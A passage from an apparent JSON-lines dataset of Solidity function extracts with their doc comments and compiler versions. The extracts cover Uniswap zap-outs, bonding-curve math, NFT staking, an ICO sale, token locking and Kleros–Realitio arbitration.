address[] memory _swapTarget,\r\n bytes memory swap1Data,\r\n bytes memory swap2Data,\r\n address affiliate\r\n ) public nonReentrant stopInEmergency returns (uint256 tokenBought) {\r\n //transfer goodwill and reoves liquidity\r\n (uint256 amountA, uint256 amountB) = _removeLiquidity(\r\n _FromUniPoolAddress,\r\n _IncomingLP\r\n );\r\n\r\n //swaps tokens to token\r\n tokenBought = _swapTokens(\r\n _FromUniPoolAddress,\r\n amountA,\r\n amountB,\r\n _ToTokenContractAddress,\r\n _swapTarget,\r\n swap1Data,\r\n swap2Data\r\n );\r\n require(tokenBought >= _minTokensRec, \"High slippage\");\r\n\r\n emit zapOut(\r\n msg.sender,\r\n _FromUniPoolAddress,\r\n _ToTokenContractAddress,\r\n tokenBought\r\n );\r\n\r\n uint256 totalGoodwillPortion;\r\n\r\n // transfer toTokens to sender\r\n if (_ToTokenContractAddress == address(0)) {\r\n totalGoodwillPortion = _subtractGoodwill(\r\n ETHAddress,\r\n tokenBought,\r\n affiliate\r\n );\r\n\r\n msg.sender.transfer(tokenBought.sub(totalGoodwillPortion));\r\n } else {\r\n totalGoodwillPortion = _subtractGoodwill(\r\n _ToTokenContractAddress,\r\n tokenBought,\r\n affiliate\r\n );\r\n\r\n IERC20(_ToTokenContractAddress).safeTransfer(\r\n msg.sender,\r\n tokenBought.sub(totalGoodwillPortion)\r\n );\r\n }\r\n\r\n return tokenBought.sub(totalGoodwillPortion);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice Zap out in a pair of tokens with permit\r\n @param _FromUniPoolAddress indicates the liquidity pool\r\n @param _IncomingLP indicates the amount of LP to remove from pool\r\n @param affiliate Affiliate address to share fees\r\n @param _permitData indicates the encoded permit data, which contains owner, spender, value, deadline, v,r,s values. \r\n @return amountA - indicates the amount received in token0, amountB - indicates the amount received in token1 \r\n */", "function_code": "function ZapOut2PairTokenWithPermit(\r\n address _FromUniPoolAddress,\r\n uint256 _IncomingLP,\r\n address affiliate,\r\n bytes calldata _permitData\r\n ) external stopInEmergency returns (uint256 amountA, uint256 amountB) {\r\n // permit\r\n (bool success, ) = _FromUniPoolAddress.call(_permitData);\r\n require(success, \"Could Not Permit\");\r\n\r\n (amountA, amountB) = ZapOut2PairToken(\r\n _FromUniPoolAddress,\r\n _IncomingLP,\r\n affiliate\r\n );\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice Zap out in a signle token with permit\r\n @param _ToTokenContractAddress indicates the toToken address to which tokens to convert.\r\n @param _FromUniPoolAddress indicates the liquidity pool\r\n @param _IncomingLP indicates the amount of LP to remove from pool\r\n @param _minTokensRec indicatest the minimum amount of toTokens to receive\r\n @param _permitData indicates the encoded permit data, which contains owner, spender, value, deadline, v,r,s values. \r\n @param _swapTarget indicates the execution target for swap.\r\n @param swap1Data DEX swap data\r\n @param swap2Data DEX swap data\r\n @param affiliate Affiliate address to share fees\r\n */", "function_code": "function ZapOutWithPermit(\r\n address _ToTokenContractAddress,\r\n address _FromUniPoolAddress,\r\n uint256 _IncomingLP,\r\n uint256 _minTokensRec,\r\n bytes memory _permitData,\r\n address[] memory _swapTarget,\r\n bytes memory swap1Data,\r\n bytes memory swap2Data,\r\n address affiliate\r\n ) public stopInEmergency returns (uint256) {\r\n // permit\r\n (bool success, ) = _FromUniPoolAddress.call(_permitData);\r\n require(success, \"Could Not Permit\");\r\n\r\n return (\r\n ZapOut(\r\n _ToTokenContractAddress,\r\n _FromUniPoolAddress,\r\n _IncomingLP,\r\n _minTokensRec,\r\n _swapTarget,\r\n swap1Data,\r\n swap2Data,\r\n affiliate\r\n )\r\n );\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice this method returns the amount of tokens received in underlying tokens after removal of liquidity.\r\n @param _FromUniPoolAddress indicates the liquidity pool.\r\n @param _tokenA indicates the tokenA of pool\r\n @param _tokenB indicates the tokenB of pool\r\n @param _liquidity indicates the amount of liquidity to remove.\r\n @return amountA - indicates the amount removed in token0, amountB - indicates the amount removed in token1 \r\n */", "function_code": "function removeLiquidityReturn(\r\n address _FromUniPoolAddress,\r\n address _tokenA,\r\n address _tokenB,\r\n uint256 _liquidity\r\n ) external view returns (uint256 amountA, uint256 amountB) {\r\n IUniswapV2Pair pair = IUniswapV2Pair(_FromUniPoolAddress);\r\n\r\n (uint256 amount0, uint256 amount1) = _getBurnAmount(\r\n _FromUniPoolAddress,\r\n pair,\r\n _tokenA,\r\n _tokenB,\r\n _liquidity\r\n );\r\n\r\n (address token0, ) = _sortTokens(_tokenA, _tokenB);\r\n\r\n (amountA, amountB) = _tokenA == token0\r\n ? (amount0, amount1)\r\n : (amount1, amount0);\r\n\r\n require(amountA >= 1, \"UniswapV2Router: INSUFFICIENT_A_AMOUNT\");\r\n require(amountB >= 1, \"UniswapV2Router: INSUFFICIENT_B_AMOUNT\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev given a wolf token supply, reserve token balance, reserve ratio, and a deposit amount (in the reserve token),\r\n * calculates the return for a given conversion (in the wolf token)\r\n *\r\n * Formula:\r\n * Return = _supply * ((1 + _depositAmount / _reserveBalance) ^ (_reserveRatio / MAX_RESERVE_RATIO) - 1)\r\n *\r\n * @param _supply wolf token total supply\r\n * @param _reserveBalance total reserve token balance\r\n * @param _reserveRatio reserve ratio, represented in ppm, 1-1000000\r\n * @param _depositAmount deposit amount, in reserve token\r\n *\r\n * @return purchase return amount\r\n */", "function_code": "function calculatePurchaseReturn(\r\n uint256 _supply,\r\n uint256 _reserveBalance,\r\n uint32 _reserveRatio,\r\n uint256 _depositAmount) public view returns (uint256)\r\n {\r\n // validate input\r\n require(_supply > 0 && _reserveBalance > 0 && _reserveRatio > 0 && _reserveRatio <= MAX_RESERVE_RATIO, \"Invalid inputs.\");\r\n // special case for 0 deposit amount\r\n if (_depositAmount == 0) {\r\n return 0;\r\n }\r\n // special case if the ratio = 100%\r\n if (_reserveRatio == MAX_RESERVE_RATIO) {\r\n return _supply.mul(_depositAmount).div(_reserveBalance);\r\n }\r\n uint256 result;\r\n uint8 precision;\r\n uint256 baseN = _depositAmount.add(_reserveBalance);\r\n (result, precision) = power(\r\n baseN, _reserveBalance, _reserveRatio, MAX_RESERVE_RATIO\r\n );\r\n uint256 newTokenSupply = _supply.mul(result) >> precision;\r\n return newTokenSupply.sub(_supply);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev given a wolf token supply, reserve token balance, reserve ratio and a sell amount (in the wolf token),\r\n * calculates the return for a given conversion (in the reserve token)\r\n *\r\n * Formula:\r\n * Return = _reserveBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_reserveRatio / MAX_RESERVE_RATIO)))\r\n *\r\n * @param _supply wolf token total supply\r\n * @param _reserveBalance total reserve token balance\r\n * @param _reserveRatio constant reserve ratio, represented in ppm, 1-1000000\r\n * @param _sellAmount sell amount, in the wolf token itself\r\n *\r\n * @return sale return amount\r\n */", "function_code": "function calculateSaleReturn(\r\n uint256 _supply,\r\n uint256 _reserveBalance,\r\n uint32 _reserveRatio,\r\n uint256 _sellAmount) public view returns (uint256)\r\n {\r\n // validate input\r\n require(_supply > 0 && _reserveBalance > 0 && _reserveRatio > 0 && _reserveRatio <= MAX_RESERVE_RATIO && _sellAmount <= _supply, \"Invalid inputs.\");\r\n // special case for 0 sell amount\r\n if (_sellAmount == 0) {\r\n return 0;\r\n }\r\n // special case for selling the entire supply\r\n if (_sellAmount == _supply) {\r\n return _reserveBalance;\r\n }\r\n // special case if the ratio = 100%\r\n if (_reserveRatio == MAX_RESERVE_RATIO) {\r\n return _reserveBalance.mul(_sellAmount).div(_supply);\r\n }\r\n uint256 result;\r\n uint8 precision;\r\n uint256 baseD = _supply.sub(_sellAmount);\r\n (result, precision) = power(\r\n _supply, baseD, MAX_RESERVE_RATIO, _reserveRatio\r\n );\r\n uint256 oldBalance = _reserveBalance.mul(result);\r\n uint256 newBalance = _reserveBalance << precision;\r\n return oldBalance.sub(newBalance).div(result);\r\n }", "version": "0.4.25"} {"comment": "// Preminting 20 for marketing and community initatives", "function_code": "function _mintReservedTokens() internal onlyOwner {\r\n uint256 supply = totalSupply();\r\n uint256 _mintAmount = 20;\r\n require(supply == 0);\r\n \r\n for (uint256 i = 1; i <= _mintAmount; i++) {\r\n _safeMint(owner(), supply + i);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/* ------------- External ------------- */", "function_code": "function burnForBoost(IERC20 token) external payable {\n uint256 userData = _claimReward();\n\n uint256 boostCost = tokenBoostCosts[token];\n if (boostCost == 0) revert InvalidBoostToken();\n\n bool success = token.transferFrom(msg.sender, burnAddress, boostCost);\n if (!success) revert TransferFailed();\n\n uint256 boostStart = userData.boostStart();\n if (boostStart + TOKEN_BOOST_DURATION + TOKEN_BOOST_COOLDOWN > block.timestamp) revert BoostInEffect();\n\n _userData[msg.sender] = userData.setBoostStart(block.timestamp);\n\n emit BoostActivation(address(token));\n }", "version": "0.8.12"} {"comment": "// calculates momentary totalBonus for display instead of effective bonus", "function_code": "function getUserStakeInfo(address user) external view returns (StakeInfo memory info) {\n unchecked {\n uint256 userData = _userData[user];\n\n info.numStaked = userData.numStaked();\n\n info.roleCount = userData.uniqueRoleCount();\n\n info.roleBonus = roleBonus(userData) / 100;\n info.specialGuestBonus = specialGuestBonus(user, userData) / 100;\n info.tokenBoost = (block.timestamp < userData.boostStart() + TOKEN_BOOST_DURATION) ? TOKEN_BONUS / 100 : 0;\n\n info.stakeStart = userData.stakeStart();\n info.timeBonus = (info.stakeStart > 0 &&\n block.timestamp > userData.stakeStart() + TIME_BONUS_STAKE_DURATION)\n ? TIME_BONUS / 100\n : 0;\n\n info.OGCount = userData.OGCount();\n info.OGBonus = (block.timestamp > OG_BONUS_END || userData.numStaked() == 0)\n ? 0\n : (userData.OGCount() * OG_BONUS) / userData.numStaked() / 100;\n\n info.rarityPoints = userData.rarityPoints();\n info.rarityBonus = rarityBonus(userData) / 100;\n\n info.totalBonus =\n info.roleBonus +\n info.specialGuestBonus +\n info.tokenBoost +\n info.timeBonus +\n info.rarityBonus +\n info.OGBonus;\n\n info.multiplierBase = userData.baseReward();\n info.dailyRewardBase = info.multiplierBase * dailyReward;\n\n info.dailyReward = (info.dailyRewardBase * (100 + info.totalBonus)) / 100;\n info.pendingReward = _pendingReward(user, userData);\n\n info.tokenBoostDelta = int256(TOKEN_BOOST_DURATION) - int256(block.timestamp - userData.boostStart());\n\n info.levelBalances = userData.levelBalances();\n }\n }", "version": "0.8.12"} {"comment": "// O(N) read-only functions", "function_code": "function tokenIdsOf(address user, uint256 type_) external view returns (uint256[] memory) {\n unchecked {\n uint256 numTotal = type_ == 0 ? this.balanceOf(user) : type_ == 1\n ? this.numStaked(user)\n : this.numOwned(user);\n\n uint256[] memory ids = new uint256[](numTotal);\n\n if (numTotal == 0) return ids;\n\n uint256 count;\n for (uint256 i = startingIndex; i < totalSupply + startingIndex; ++i) {\n uint256 tokenData = _tokenDataOf(i);\n if (user == tokenData.trueOwner()) {\n bool staked = tokenData.staked();\n if ((type_ == 0 && !staked) || (type_ == 1 && staked) || type_ == 2) {\n ids[count++] = i;\n if (numTotal == count) return ids;\n }\n }\n }\n\n return ids;\n }\n }", "version": "0.8.12"} {"comment": "// low level token Pledge function", "function_code": "function procureTokens(address beneficiary) public payable {\r\n uint256 tokens;\r\n uint256 weiAmount = msg.value;\r\n uint256 backAmount;\r\n require(beneficiary != address(0));\r\n //minimum/maximum amount in ETH\r\n require(weiAmount >= minNumbPerSubscr && weiAmount <= maxNumbPerSubscr);\r\n if (now >= startICO && now <= endICO && totalICO < hardCap){\r\n tokens = weiAmount.mul(rate);\r\n if (hardCap.sub(totalICO) < tokens){\r\n tokens = hardCap.sub(totalICO); \r\n weiAmount = tokens.div(rate);\r\n backAmount = msg.value.sub(weiAmount);\r\n }\r\n totalICO = totalICO.add(tokens);\r\n }\r\n\r\n require(tokens > 0);\r\n token.mint(beneficiary, tokens);\r\n balancesSoftCap[beneficiary] = balancesSoftCap[beneficiary].add(weiAmount);\r\n\r\n uint256 dateEndRefund = now + 14 * 1 days;\r\n paymentCounter[beneficiary] = paymentCounter[beneficiary] + 1;\r\n payments[beneficiary][paymentCounter[beneficiary]] = BuyInfo(weiAmount, tokens, dateEndRefund); \r\n \r\n if (backAmount > 0){\r\n msg.sender.transfer(backAmount); \r\n }\r\n emit TokenProcurement(msg.sender, beneficiary, weiAmount, tokens);\r\n }", "version": "0.4.22"} {"comment": "// trait counts are set through hook in madmouse contract (MadMouse::_beforeStakeDataTransform)", "function_code": "function uniqueRoleCount(uint256 userData) internal pure returns (uint256) {\n unchecked {\n return (toUInt256((userData >> (128)) & 0xFF > 0) +\n toUInt256((userData >> (128 + 8)) & 0xFF > 0) +\n toUInt256((userData >> (128 + 16)) & 0xFF > 0) +\n toUInt256((userData >> (128 + 24)) & 0xFF > 0) +\n toUInt256((userData >> (128 + 32)) & 0xFF > 0));\n }\n }", "version": "0.8.12"} {"comment": "// depends on the levels of the staked tokens (also set in hook MadMouse::_beforeStakeDataTransform)\n// counts the base reward, depending on the levels of staked ids", "function_code": "function baseReward(uint256 userData) internal pure returns (uint256) {\n unchecked {\n return (((userData >> (168)) & 0xFF) +\n (((userData >> (168 + 8)) & 0xFF) << 1) +\n (((userData >> (168 + 16)) & 0xFF) << 2));\n }\n }", "version": "0.8.12"} {"comment": "// (should start at 128, 168; but role/level start at 1...)", "function_code": "function updateUserDataStake(uint256 userData, uint256 tokenData) internal pure returns (uint256) {\n unchecked {\n uint256 role = TokenDataOps.role(tokenData);\n if (role > 0) {\n userData += uint256(1) << (120 + (role << 3)); // roleBalances\n userData += TokenDataOps.rarity(tokenData) << 200; // rarityPoints\n }\n if (TokenDataOps.mintAndStake(tokenData)) userData += uint256(1) << 210; // OGCount\n userData += uint256(1) << (160 + (TokenDataOps.level(tokenData) << 3)); // levelBalances\n return userData;\n }\n }", "version": "0.8.12"} {"comment": "// signatures will be created dynamically", "function_code": "function mint(\n uint256 amount,\n bytes calldata signature,\n bool stake\n ) external payable noContract {\n if (!publicSaleActive) revert PublicSaleNotActive();\n if (PURCHASE_LIMIT < amount) revert ExceedsLimit();\n if (msg.value != price * amount) revert IncorrectValue();\n if (!validSignature(signature, 0)) revert InvalidSignature();\n\n _mintAndStake(msg.sender, amount, stake);\n }", "version": "0.8.12"} {"comment": "// update role, level information when staking", "function_code": "function _beforeStakeDataTransform(\n uint256 tokenId,\n uint256 userData,\n uint256 tokenData\n ) internal view override returns (uint256, uint256) {\n // assumption that mint&stake won't have revealed yet\n if (!tokenData.mintAndStake() && tokenData.role() == 0 && revealed)\n tokenData = tokenData.setRoleAndRarity(computeDNA(tokenId));\n userData = userData.updateUserDataStake(tokenData);\n return (userData, tokenData);\n }", "version": "0.8.12"} {"comment": "// note: must be guarded by check for revealed", "function_code": "function updateDataWhileStaked(\n uint256 userData,\n uint256 tokenId,\n uint256 oldTokenData,\n uint256 newTokenData\n ) private view returns (uint256, uint256) {\n uint256 userDataX;\n // add in the role and rarity data if not already\n uint256 tokenDataX = newTokenData.role() != 0\n ? newTokenData\n : newTokenData.setRoleAndRarity(computeDNA(tokenId));\n\n // update userData as if to unstake with old tokenData and stake with new tokenData\n userDataX = userData.updateUserDataUnstake(oldTokenData).updateUserDataStake(tokenDataX);\n return applySafeDataTransform(userData, newTokenData, userDataX, tokenDataX);\n }", "version": "0.8.12"} {"comment": "// simulates a token update and only returns ids != 0 if\n// the user gets a bonus increase upon updating staked data", "function_code": "function shouldUpdateStakedIds(address user) external view returns (uint256[] memory) {\n if (!revealed) return new uint256[](0);\n\n uint256[] memory stakedIds = this.tokenIdsOf(user, 1);\n\n uint256 userData = _userData[user];\n uint256 oldTotalBonus = totalBonus(user, userData);\n\n uint256 tokenData;\n for (uint256 i; i < stakedIds.length; ++i) {\n tokenData = _tokenDataOf(stakedIds[i]);\n if (tokenData.role() == 0)\n (userData, ) = updateDataWhileStaked(userData, stakedIds[i], tokenData, tokenData);\n else stakedIds[i] = 0;\n }\n\n uint256 newTotalBonus = totalBonus(user, userData);\n\n return (newTotalBonus > oldTotalBonus) ? stakedIds : new uint256[](0);\n }", "version": "0.8.12"} {"comment": "/**\r\n General Description:\r\n Determine a value of precision.\r\n Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.\r\n Return the result along with the precision used.\r\n Detailed Description:\r\n Instead of calculating \"base ^ exp\", we calculate \"e ^ (log(base) * exp)\".\r\n The value of \"log(base)\" is represented with an integer slightly smaller than \"log(base) * 2 ^ precision\".\r\n The larger \"precision\" is, the more accurately this value represents the real value.\r\n However, the larger \"precision\" is, the more bits are required in order to store this value.\r\n And the exponentiation function, which takes \"x\" and calculates \"e ^ x\", is limited to a maximum exponent (maximum value of \"x\").\r\n This maximum exponent depends on the \"precision\" used, and it is given by \"maxExpArray[precision] >> (MAX_PRECISION - precision)\".\r\n Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.\r\n This allows us to compute \"base ^ exp\" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.\r\n This functions assumes that \"_expN < 2 ^ 256 / log(MAX_NUM - 1)\", otherwise the multiplication should be replaced with a \"safeMul\".\r\n */", "function_code": "function power(\r\n uint256 _baseN,\r\n uint256 _baseD,\r\n uint32 _expN,\r\n uint32 _expD\r\n ) internal view returns (uint256, uint8)\r\n {\r\n require(_baseN < MAX_NUM, \"baseN exceeds max value.\");\r\n require(_baseN >= _baseD, \"Bases < 1 are not supported.\");\r\n\r\n uint256 baseLog;\r\n uint256 base = _baseN * FIXED_1 / _baseD;\r\n if (base < OPT_LOG_MAX_VAL) {\r\n baseLog = optimalLog(base);\r\n } else {\r\n baseLog = generalLog(base);\r\n }\r\n\r\n uint256 baseLogTimesExp = baseLog * _expN / _expD;\r\n if (baseLogTimesExp < OPT_EXP_MAX_VAL) {\r\n return (optimalExp(baseLogTimesExp), MAX_PRECISION);\r\n } else {\r\n uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);\r\n return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n Compute log(x / FIXED_1) * FIXED_1.\r\n This functions assumes that \"x >= FIXED_1\", because the output would be negative otherwise.\r\n */", "function_code": "function generalLog(uint256 _x) internal pure returns (uint256) {\r\n uint256 res = 0;\r\n uint256 x = _x;\r\n\r\n // If x >= 2, then we compute the integer part of log2(x), which is larger than 0.\r\n if (x >= FIXED_2) {\r\n uint8 count = floorLog2(x / FIXED_1);\r\n x >>= count; // now x < 2\r\n res = count * FIXED_1;\r\n }\r\n\r\n // If x > 1, then we compute the fraction part of log2(x), which is larger than 0.\r\n if (x > FIXED_1) {\r\n for (uint8 i = MAX_PRECISION; i > 0; --i) {\r\n x = (x * x) / FIXED_1; // now 1 < x < 4\r\n if (x >= FIXED_2) {\r\n x >>= 1; // now 1 < x < 2\r\n res += ONE << (i - 1);\r\n }\r\n }\r\n }\r\n\r\n return res * LN2_NUMERATOR / LN2_DENOMINATOR;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n Compute the largest integer smaller than or equal to the binary logarithm of the input.\r\n */", "function_code": "function floorLog2(uint256 _n) internal pure returns (uint8) {\r\n uint8 res = 0;\r\n uint256 n = _n;\r\n\r\n if (n < 256) {\r\n // At most 8 iterations\r\n while (n > 1) {\r\n n >>= 1;\r\n res += 1;\r\n }\r\n } else {\r\n // Exactly 8 iterations\r\n for (uint8 s = 128; s > 0; s >>= 1) {\r\n if (n >= (ONE << s)) {\r\n n >>= s;\r\n res |= s;\r\n }\r\n }\r\n }\r\n\r\n return res;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n The global \"maxExpArray\" is sorted in descending order, and therefore the following statements are equivalent:\r\n - This function finds the position of [the smallest value in \"maxExpArray\" larger than or equal to \"x\"]\r\n - This function finds the highest position of [a value in \"maxExpArray\" larger than or equal to \"x\"]\r\n */", "function_code": "function findPositionInMaxExpArray(uint256 _x)\r\n internal view returns (uint8)\r\n {\r\n uint8 lo = MIN_PRECISION;\r\n uint8 hi = MAX_PRECISION;\r\n\r\n while (lo + 1 < hi) {\r\n uint8 mid = (lo + hi) / 2;\r\n if (maxExpArray[mid] >= _x)\r\n lo = mid;\r\n else\r\n hi = mid;\r\n }\r\n\r\n if (maxExpArray[hi] >= _x)\r\n return hi;\r\n if (maxExpArray[lo] >= _x)\r\n return lo;\r\n\r\n assert(false);\r\n return 0;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Investments\r\n */", "function_code": "function () external payable {\r\n require(msg.value >= minimum);\r\n if (investments[msg.sender] > 0){\r\n if (withdraw()){\r\n withdrawals[msg.sender] = 0;\r\n }\r\n }\r\n investments[msg.sender] = investments[msg.sender].add(msg.value);\r\n joined[msg.sender] = block.timestamp;\r\n ownerWallet.transfer(msg.value.div(100).mul(5));\r\n promoter.transfer(msg.value.div(100).mul(5));\r\n emit Invest(msg.sender, msg.value);\r\n }", "version": "0.4.25"} {"comment": "//transforms HEX to HXB @ uniswap rate", "function_code": "function transformHEX(uint hearts, address ref)//Approval needed\r\n public\r\n synchronized\r\n {\r\n require(roomActive, \"transform room not active\");\r\n require(hearts >= 100, \"value too low\");\r\n require(hexInterface.transferFrom(msg.sender, address(this), hearts), \"Transfer failed\");//send hex from user to contract\r\n //allocate funds\r\n hexLiquidity += hearts.mul(60).div(100);//60%\r\n hexDivs += hearts.mul(40).div(100);//40%\r\n //get HXB price\r\n (uint reserve0, uint reserve1,) = uniHexHxbInterface.getReserves();\r\n uint hxb = uniV2Router.quote(hearts, reserve0, reserve1);\r\n require(hearts <= reserve0.div(10), \"transform value too high\");\r\n uint256 mintRatio = hxbControl.mintRatio();//adjust for changing dapp mintratio by multiplying first before division in HXB contract\r\n \r\n if(ref != address(0))//ref\r\n {\r\n uint refBonus = hxb.div(10);\r\n require(hxbControl.mintHXB(hxb.add(refBonus).mul(mintRatio), address(this)), \"Mint failed\");//mint hxb from contract to this contract\r\n //global\r\n totalHxbMinted += hxb.add(refBonus);\r\n //user\r\n transformed[ref].hxbRefMinted += refBonus;\r\n //lock +10% to referrer\r\n LockRefTokens(refBonus, ref);\r\n }\r\n else{//no ref\r\n require(hxbControl.mintHXB(hxb.mul(mintRatio), address(this)), \"Mint failed\");//mint hxb from contract to this contract\r\n totalHxbMinted += hxb;\r\n }\r\n \r\n totalHexTransformed += hearts;\r\n transformed[msg.sender].hexTransformed += hearts;\r\n transformed[msg.sender].hxbMinted += hxb;\r\n LockTransformTokens(hxb.div(2), msg.sender);//lock 50% HXB\r\n hxbInterface.transfer(msg.sender, hxb.div(2));//transfer 50% HXB\r\n emit HexTransform(hearts, hxb, msg.sender);\r\n }", "version": "0.6.4"} {"comment": "//unlock referral HXB tokens from contract", "function_code": "function UnlockRefTokens()\r\n public\r\n synchronized\r\n {\r\n require(refLockedBalances[msg.sender] > 0,\"Error: unsufficient locked balance\");//ensure user has enough locked funds\r\n require(isLockFinished(), \"tokens cannot be unlocked yet. hxb maxsupply not yet reached\");\r\n uint amt = refLockedBalances[msg.sender];\r\n refLockedBalances[msg.sender] = 0;\r\n totalRefLocked = totalRefLocked.sub(amt);\r\n hxbInterface.transfer(msg.sender, amt);//make transfer\r\n emit RefUnlock(msg.sender, amt);\r\n }", "version": "0.6.4"} {"comment": "//unlock transformed HXB tokens from contract", "function_code": "function UnlockTransformTokens()\r\n public\r\n synchronized\r\n {\r\n require(transformLockedBalances[msg.sender] > 0,\"Error: unsufficient locked balance\");//ensure user has enough locked funds\r\n require(isLockFinished(), \"tokens cannot be unlocked yet. hxb maxsupply not yet reached\");\r\n uint amt = transformLockedBalances[msg.sender];\r\n transformLockedBalances[msg.sender] = 0;\r\n totalTransformLocked = totalTransformLocked.sub(amt);\r\n hxbInterface.transfer(msg.sender, amt);//make transfer\r\n emit TransformUnlock(msg.sender, amt);\r\n }", "version": "0.6.4"} {"comment": "/** @dev Request arbitration from Kleros for given _questionID.\n * @param _questionID The question identifier in Realitio contract.\n * @param _maxPrevious If specified, reverts if a bond higher than this was submitted after you sent your transaction.\n * @return disputeID ID of the resulting dispute on arbitrator.\n */", "function_code": "function requestArbitration(bytes32 _questionID, uint256 _maxPrevious) external payable returns (uint256 disputeID) {\n ArbitrationRequest storage arbitrationRequest = arbitrationRequests[uint256(_questionID)];\n require(arbitrationRequest.status == Status.None, \"Arbitration already requested\");\n\n // Notify Kleros\n disputeID = arbitrator.createDispute{value: msg.value}(NUMBER_OF_RULING_OPTIONS, arbitratorExtraData); /* If msg.value is greater than intended number of votes (specified in arbitratorExtraData),\n Kleros will automatically spend excess for additional votes. */\n emit Dispute(arbitrator, disputeID, 0, uint256(_questionID)); // We use _questionID in uint as evidence group identifier.\n emit DisputeIDToQuestionID(disputeID, _questionID); // For the dynamic script https://github.com/kleros/realitio-script/blob/master/src/index.js\n externalIDtoLocalID[disputeID] = uint256(_questionID);\n\n // Update internal state\n arbitrationRequest.requester = msg.sender;\n arbitrationRequest.status = Status.Disputed;\n arbitrationRequest.disputeID = disputeID;\n arbitrationRequest.rounds.push();\n\n // Notify Realitio\n realitio.notifyOfArbitrationRequest(_questionID, msg.sender, _maxPrevious);\n }", "version": "0.7.6"} {"comment": "/** @dev Receives ruling from Kleros and enforces it.\n * @param _disputeID ID of Kleros dispute.\n * @param _ruling Ruling that is given by Kleros. This needs to be converted to Realitio answer before reporting the answer by shifting by 1.\n */", "function_code": "function rule(uint256 _disputeID, uint256 _ruling) public override {\n require(IArbitrator(msg.sender) == arbitrator, \"Only arbitrator allowed\");\n\n uint256 questionID = externalIDtoLocalID[_disputeID];\n ArbitrationRequest storage arbitrationRequest = arbitrationRequests[questionID];\n\n require(arbitrationRequest.status == Status.Disputed, \"Invalid arbitration status\");\n\n Round storage round = arbitrationRequest.rounds[arbitrationRequest.rounds.length - 1];\n\n // If there is only one ruling option in last round that is fully funded, no matter what Kleros ruling was this ruling option is the winner by default.\n uint256 finalRuling = (round.fundedRulings.length == 1) ? round.fundedRulings[0] : _ruling;\n\n arbitrationRequest.ruling = finalRuling;\n arbitrationRequest.status = Status.Ruled;\n\n emit Ruling(IArbitrator(msg.sender), _disputeID, finalRuling);\n\n // Ready to call `reportAnswer` now.\n }", "version": "0.7.6"} {"comment": "/** @dev Allows to withdraw any rewards or reimbursable fees after the dispute gets resolved. For all rounds at once.\n * This function has O(m) time complexity where m is number of rounds.\n * It is safe to assume m is always less than 10 as appeal cost growth order is O(2^m).\n * @param _questionID Identifier of the Realitio question, casted to uint. This also serves as the local identifier in this contract.\n * @param _contributor The address whose rewards to withdraw.\n * @param _ruling Ruling that received contributions from contributor.\n */", "function_code": "function withdrawFeesAndRewardsForAllRounds(\n uint256 _questionID,\n address payable _contributor,\n uint256 _ruling\n ) external override {\n ArbitrationRequest storage arbitrationRequest = arbitrationRequests[_questionID];\n uint256 noOfRounds = arbitrationRequest.rounds.length;\n\n for (uint256 roundNumber = 0; roundNumber < noOfRounds; roundNumber++) {\n withdrawFeesAndRewards(_questionID, _contributor, roundNumber, _ruling);\n }\n }", "version": "0.7.6"} {"comment": "/** @dev Allows to withdraw any reimbursable fees or rewards after the dispute gets solved.\n * @param _questionID Identifier of the Realitio question, casted to uint. This also serves as the local identifier in this contract.\n * @param _contributor The address whose rewards to withdraw.\n * @param _roundNumber The number of the round caller wants to withdraw from.\n * @param _ruling Ruling that received contribution from contributor.\n * @return amount The amount available to withdraw for given question, contributor, round number and ruling option.\n */", "function_code": "function withdrawFeesAndRewards(\n uint256 _questionID,\n address payable _contributor,\n uint256 _roundNumber,\n uint256 _ruling\n ) public override returns (uint256 amount) {\n ArbitrationRequest storage arbitrationRequest = arbitrationRequests[_questionID];\n require(arbitrationRequest.status > Status.Disputed, \"There is no ruling yet.\");\n\n Round storage round = arbitrationRequest.rounds[_roundNumber];\n\n amount = getWithdrawableAmount(round, _contributor, _ruling, arbitrationRequest.ruling);\n\n if (amount != 0) {\n round.contributions[_contributor][_ruling] = 0;\n _contributor.send(amount); // Ignoring failure condition deliberately.\n emit Withdrawal(_questionID, _roundNumber, _ruling, _contributor, amount);\n }\n }", "version": "0.7.6"} {"comment": "/** @dev Returns the sum of withdrawable amount.\n * This function has O(m) time complexity where m is number of rounds.\n * It is safe to assume m is always less than 10 as appeal cost growth order is O(m^2).\n * @param _questionID Identifier of the Realitio question, casted to uint. This also serves as the local identifier in this contract.\n * @param _contributor The contributor for which to query.\n * @param _ruling Ruling option to look for potential withdrawals.\n * @return sum The total amount available to withdraw.\n */", "function_code": "function getTotalWithdrawableAmount(\n uint256 _questionID,\n address payable _contributor,\n uint256 _ruling\n ) external view override returns (uint256 sum) {\n ArbitrationRequest storage arbitrationRequest = arbitrationRequests[_questionID];\n if (arbitrationRequest.status < Status.Ruled) return 0;\n uint256 noOfRounds = arbitrationRequest.rounds.length;\n uint256 finalRuling = arbitrationRequest.ruling;\n\n for (uint256 roundNumber = 0; roundNumber < noOfRounds; roundNumber++) {\n Round storage round = arbitrationRequest.rounds[roundNumber];\n sum += getWithdrawableAmount(round, _contributor, _ruling, finalRuling);\n }\n }", "version": "0.7.6"} {"comment": "/** @dev Returns withdrawable amount for given parameters.\n * @param _round The round to calculate amount for.\n * @param _contributor The contributor for which to query.\n * @param _ruling The ruling option to search for potential withdrawal.\n * @param _finalRuling Final ruling given by arbitrator.\n * @return amount Amount available to withdraw for given ruling option.\n */", "function_code": "function getWithdrawableAmount(\n Round storage _round,\n address _contributor,\n uint256 _ruling,\n uint256 _finalRuling\n ) internal view returns (uint256 amount) {\n if (!_round.hasPaid[_ruling]) {\n // Allow to reimburse if funding was unsuccessful for this ruling 